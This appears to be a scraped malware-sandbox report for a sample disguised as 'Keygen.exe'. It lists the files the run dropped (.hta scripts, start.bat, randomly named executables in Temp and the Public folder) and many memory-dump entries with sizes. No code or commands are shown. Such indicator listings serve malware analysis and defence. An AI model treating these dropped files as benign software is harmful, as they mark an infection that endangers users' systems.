C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6dbb5ab9-a5c2-44e2-8543-1457deb3c7bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_af77f07a-d4e3-471c-a579-f351c4115583

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\Keygen.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\Keygen.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\b.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\b1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\ba.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\ba1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\m.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\m1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\230B.tmp\start.bat

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Public\sit.exe

Download Submit
C:\Users\Public\sit.exe

Download Submit
C:\Users\Public\sit.exe

Download Submit
C:\Users\Public\yzr.exe

Download Submit
C:\Users\Public\yzr.exe

Download Submit
C:\Users\Public\yzr.exe

Download Submit
C:\Users\Public\yzr.exe

Download Submit
C:\Users\Public\zol.exe

Download Submit
C:\Users\Public\zol.exe

Download Submit
\Users\Admin\AppData\Local\Temp\230B.tmp\Keygen.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Public\sit.exe

Download Submit
\Users\Public\sit.exe

Download Submit
\Users\Public\yzr.exe

Download Submit
\Users\Public\yzr.exe

Download Submit
\Users\Public\yzr.exe

Download Submit
\Users\Public\zol.exe

Download Submit
memory/316-15-0x0000000000000000-mapping.dmp

Download
memory/476-31-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/476-24-0x0000000000000000-mapping.dmp

Download
memory/476-54-0x0000000005480000-0x0000000005481000-memory.dmp

Filesize
4KB

Download
memory/1164-16-0x0000000000000000-mapping.dmp

Download
memory/1252-18-0x0000000000000000-mapping.dmp

Download
memory/1452-115-0x00000000066D0000-0x00000000066D1000-memory.dmp

Filesize
4KB

Download
memory/1452-67-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/1452-32-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/1452-42-0x0000000004C00000-0x0000000004C01000-memory.dmp

Filesize
4KB

Download
memory/1452-62-0x0000000006240000-0x0000000006241000-memory.dmp

Filesize
4KB

Download
memory/1452-68-0x0000000006390000-0x0000000006391000-memory.dmp

Filesize
4KB

Download
memory/1452-75-0x0000000006450000-0x0000000006451000-memory.dmp

Filesize
4KB

Download
memory/1452-79-0x0000000006480000-0x0000000006481000-memory.dmp

Filesize
4KB

Download
memory/1452-116-0x00000000066E0000-0x00000000066E1000-memory.dmp

Filesize
4KB

Download
memory/1452-101-0x00000000061A0000-0x00000000061A1000-memory.dmp

Filesize
4KB

Download
memory/1452-23-0x0000000000000000-mapping.dmp

Download
memory/1524-26-0x0000000000000000-mapping.dmp

Download
memory/1524-35-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/1524-48-0x0000000002840000-0x0000000002841000-memory.dmp

Filesize
4KB

Download
memory/1576-5-0x0000000000000000-mapping.dmp

Download
memory/1576-4-0x0000000000000000-mapping.dmp

Download
memory/1636-34-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/1636-123-0x0000000006560000-0x0000000006561000-memory.dmp

Filesize
4KB

Download
memory/1636-36-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/1636-22-0x0000000000000000-mapping.dmp

Download
memory/1640-30-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/1640-21-0x0000000000000000-mapping.dmp

Download
memory/1688-0-0x0000000000000000-mapping.dmp

Download
memory/1736-20-0x0000000000000000-mapping.dmp

Download
memory/1740-33-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/1740-25-0x0000000000000000-mapping.dmp

Download
memory/1740-161-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download
memory/1988-10-0x0000000000000000-mapping.dmp

Download
memory/1992-11-0x0000000000000000-mapping.dmp

Download
memory/2036-8-0x0000000000000000-mapping.dmp

Download
memory/2040-13-0x0000000000000000-mapping.dmp

Download
memory/2112-203-0x000000000041A684-mapping.dmp

Download
memory/2552-119-0x0000000000000000-mapping.dmp

Download
memory/2552-122-0x0000000070720000-0x0000000070E0E000-memory.dmp

Filesize
6.9MB

Download
memory/2552-125-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/2616-163-0x000007FEF7620000-0x000007FEF789A000-memory.dmp

Filesize
2.5MB

Download
memory/2624-129-0x0000000000000000-mapping.dmp

Download
memory/2680-135-0x0000000000000000-mapping.dmp

Download
memory/2740-141-0x0000000000000000-mapping.dmp

Download
memory/2776-145-0x0000000000000000-mapping.dmp

Download
memory/2808-150-0x0000000000000000-mapping.dmp

Download
memory/2832-154-0x0000000000000000-mapping.dmp

Download
memory/2932-174-0x0000000000000000-mapping.dmp

Download
memory/2948-178-0x000000000043FCC3-mapping.dmp

Download
memory/2948-183-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/2948-176-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/2964-189-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2964-184-0x0000000000417A8B-mapping.dmp

Download
memory/2964-180-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/3012-188-0x000000000041A684-mapping.dmp

Download
memory/3012-192-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/3012-187-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/3028-193-0x000000000043FCC3-mapping.dmp

Download
memory/3060-196-0x0000000000417A8B-mapping.dmp

Download